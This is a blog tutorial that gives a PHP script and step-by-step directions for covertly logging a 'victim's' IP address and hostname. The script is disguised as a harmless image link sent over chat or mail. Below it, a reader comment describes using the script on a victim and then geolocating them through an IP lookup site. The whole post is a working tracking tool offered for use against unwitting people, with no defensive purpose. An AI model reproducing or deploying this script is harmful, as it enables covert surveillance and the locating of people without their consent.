2


In this tutorial i will you show you how to get someone's Ip address using PHP script.This method can be used to grab someone Ip address on yahoo or Facebook chat or by sending mail to victim. So Lets get started.


1. Copy the below codes into Notepad and save it as cht4u.php (.php is must)
<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$img_number = imagecreate(400,95);
$backcolor = imagecolorallocate($img_number,10,102,153);
$textcolor = imagecolorallocate($img_number,255,255,255);

imagefill($img_number,0,0,$backcolor);
$number0 = " This is Your IP/Proxy";
$number1 = " IP: $_SERVER[HTTP_X_FORWARDED_FOR]";
$number2 = " Host/Proxy: $hostname";
$number4 = " _________________________________";

Imagestring($img_number,10,5,5,$number0,$textcolor);
Imagestring($img_number,10,5,25,$number1,$textcolor);
Imagestring($img_number,10,5,45,$number2,$textcolor);
Imagestring($img_number,10,5,50,$number4,$textcolor);
Imagestring($img_number,10,8,50,$number4,$textcolor);
Imagestring($img_number,10,5,10,$number4,$textcolor);
Imagestring($img_number,10,8,10,$number4,$textcolor);

header("Content-type: image/png");
imagepng($img_number);
$file=fopen("Name-here-to-protect-the-File.txt","a");
$file2 = "- IP joined - IP/Proxy: $_SERVER[HTTP_X_FORWARDED_FOR] - Host: $hostname - '\n' ";
fwrite($file, $file2);
fclose($file);
?>
2. Now make Free account on any of  the free web hosting sites Ripway or on  My3gb .
    3. Now Upload cht4u.php to your web hosting site.
    4. Copy the link of your  uploaded file and send it to victim.
    5. As soon as victim will click on your link his ip will be saved in your free web hosting site.
    6. Enjoy you are Done !!

Post a Comment


  1. Nice blog helpful for those who are looking for some other methods or scripts to find the ip address of someone online ...I used the script which you mentioned here and found the ip address of one victim online .After finding the ip address i traced his location through sites like Ip-Details.com they are rendering ip search tool which will trace the location of any ip address .They are displaying details like ip location ,ISP address and so on i can't trace exact home address of that person from his ip address ..Instead i can trace only ISP details from ip address ...

    ReplyDelete

 
Top